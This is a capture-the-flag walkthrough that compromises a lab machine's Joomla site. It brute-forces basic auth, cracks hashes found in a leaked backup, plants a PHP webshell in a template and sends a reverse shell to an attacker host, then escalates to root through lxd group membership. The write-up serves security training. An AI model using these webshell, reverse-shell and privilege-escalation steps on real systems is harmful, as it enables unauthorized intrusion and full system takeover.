Target IP: 10.10.153.118
Challenge Description:
Performing a TCP port scan using the command sudo nmap -sS 10.10.153.118 -p- against the target machine returns the result shown above. According to the scan, there are three TCP ports open on the target machine: SSH, HTTP, and maybe another HTTP on port 8080. Time to find out.
I performed an aggressive TCP scan against the three TCP ports using the command sudo nmap -sV -A 10.10.153.118 -p 22,80,8080 and obtained the result shown above. By the looks of it, the two HTTP applications on ports 80 and 8080 are the most interesting to me. The HTTP application on the higher port seems to perform basic authentication. I did further scan using tools such as nikto and whatweb to identify the backend technology stack, but I did not find anything useful. Time to enumerate the web applications instead.
Port 80: HTTP
The webpage above is returned to me for this web application on port 80. I viewed the source-code of this webpage, but I did not find anything useful, such as hard-coded credentials and developer comments. Time for a directory search now.
I performed a directory search using the command gobuster dir -u http://10.10.153.118/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt and obtained the result shown above. Two entries that stand out to me are: /secret.txt and /phpinfo.php.
I browsed to the /phpinfo.php page to obtain more information about the web server itself, and obtained the result shown above. I notice the web server is running Apache/2.4.29 (Ubuntu) and it is using the default location of /var/www/html. I notice this Apache 2.4.29 is vulnerable to Arbitrary File Upload attack according to CVE-2017-15715. Before launching any exploits, I wish to enumerate further.
The /secret.txt file contains the information shown above. Two usernames stand out to me: batman and joker. Other than that, I did not find this useful at all. I performed further directory search using different wordlists, but I did not find anything useful. Time to enumerate the HTTP application on port 8080 now.
Port 8080: HTTP
When I try to browse to http://10.10.153.118:8080, it informs me to login as shown above. It is using basic authentication mechanism provided by the HTTP; therefore, it is possible to bruteforce it. Previously, I obtained two usernames: joker and batman, so I will use these as the usernames, and rockyou.txt as the passwords list.
I bruteforced the login mechanism at port 8080 by using hydra and the command hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 -f 10.10.153.118 http-get and obtained the result shown above. I successfully obtained the credentials joker:hannah. Now I can login as the user joker.
After logging in successfully, the webpage above was presented to me. I notice it is using Joomla CMS. I can perform further scan using droopescan, but it is easier to use a directory search instead. I wish to find what version the application is.
This is doable by browsing to http://10.10.153.118:8080/administrator/manifests/files/joomla.xml, as shown above. The target machine seems to be running Joomla 3.6 or Joomla 3.7.0.
I performed a directory search against the Joomla application by using the command gobuster dir -u http://10.10.153.118:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -U joker -P hannah and obtained the result shown above. While performing the scan, I noticed the unusual entry with the name backup.zip. If this is a ZIP file of the web application, can I find sensitive information such as hard-coded credentials? Or even understand how the web application works; for example, the different endpoints? Time to find out.
Downloading backup.zip, and Credential Hunting Inside joomladb.sql
I browsed to http://10.10.153.118:8080/backup to download the ZIP file to my machine. When trying to extract the contents of the ZIP file, it asks for me to enter the password as shown above. However, I can use zip2john to obtain the password hash set on the backup.zip and crack the hash using tools like john.
To obtain the password hash set on the backup.zip file, I ran the command zip2john backup.zip > hash. Then I ran the command john hash --wordlist=/usr/share/wordlists/rockyou.txt to crack the hash. And the password I obtained is hannah, as shown above. I was able to successfully extract the contents of backup.zip using this password. The db directory stands out the most to me, as it could contain credentials that would allow me to login to the Joomla CMS application.
I checked the joomladb.sql file first. When checking for users table, I obtained the information shown above. It contains the username admin and the encrypted password $2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG. This encrypted password is in blowfish format, which can be cracked using tools such as hashcat. I copied the encrypted password to a file called passwd-hash on my machine. Time to crack it.
To crack the encrypted password, I ran the command hashcat -m 3200 passwd-hash /usr/share/wordlists/rockyou.txt and obtained the password abcd1234 as shown above. Now I have the credentials admin:abcd1234. Can I use these credentials at the /administrator page of Joomla application? Time to find out.
From previous directory search against Joomla, I identified the location page is located at /administrator. Since the credentials I obtained belongs to the user admin too, I entered the credentials as shown above and pressed Log in.
And bingo. Now I have administrator access to the Joomla application, as shown above. The weakness lies in making the backup.zip publicly available, and the admin password not being changed from the joomladb.sql.
After browsing to /administrator, I entered the same credentials admin:abcd1234 and the administrator page, shown above, was returned to me. And the target machine is running Joomla 3.7.0. One attack vector is to insert malicious code inside an editable template page to achieve RCE; for example, inserting a PHP webshell inside an error page. I will use this attack vector to obtain a reverse shell connection now.
Owning the Joomla CMS via Credential Hunting & Obtaining a Reverse Shell Connection via Template Editing
To edit a template, I pressed Extensions, Templates, and then Templates as shown above.
I notice the Beez3 is editable. Therefore, I can edit the error.php page and insert my PHP webshell to achieve RCE.
I inserted my PHP webshell inside the error.php file as shown above. The code I inserted is the following:
<?php
echo system($_GET['cmd']);
?><?php
echo system($_GET['cmd']);
?>
I achieved remote code execution by browsing to http://10.10.153.118:8080/templates/beez3/error.php?cmd=id and entering the command id, as shown above. I notice this user, www-data, belongs to the group lxd. This is a possible privilege escalation vector I can use to achieve root privileges. Time to obtain a reverse shell connection now using this PHP webshell.
I started a listener on my machine at port 8443 by using the command nc -lvnp 8443. Then using my PHP webshell, I deployed the URL encoded PHP webshell:
php%20-r%20%27%24sock%3Dfsockopen%28%2210.14.87.142%22%2C8443%29%3Bpopen%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%2C%20%22r%22%29%3B%27
php%20-r%20%27%24sock%3Dfsockopen%28%2210.14.87.142%22%2C8443%29%3Bpopen%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%2C%20%22r%22%29%3B%27And immediately, I obtained a reverse shell connection as shown above. I also upgraded my shell to a TTY shell by using the command python3 -c 'import pty; pty.spawn("/bin/bash")'. Now I have a foothold on the target machine as the user www-data. Time to elevate my privileges on the target machine.
Vertical Privilege Escalation:www-data user to root user via LXD Group Privilege Escalation
Since the current user www-data belongs to the lxd group, this is the privilege escalation vector I will use to obtain root privileges. To begin, I executed the following commands in order:
git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder sudo ./build-alpine python3 -m http.server 8080
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8080The three commands above are used to download build-alpine to my machine via git. Then I browse into the downloaded file using cd. Afterwards, I execute the command sudo ./build-alpine to build the latest Alpine image. The last command above is used to start a Python HTTP server on my machine to transfer the image file.
I executed the command wget http://10.14.87.142:8080/alpine-v3.13-x86_64-20210218_0139.tar.gz to download the file on the target machine. I ensured this was downloaded over at /tmp. Then I issued the series of commands to mount the container inside root:
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage lxc init myimage ignite -c security.privileged=true lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true lxc start ignite lxc exec ignite /bin/sh
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/shAfter issuing the commands, I obtained a root shell on the target machine as shown in the picture above. The commands above are used to import image for lxd, initialise the image inside a new container, and mount the container inside the /root directory.
There is only one flag for this challenge. This flag is available at /mnt/root/root, as shown above. The file name of this flag is final.txt.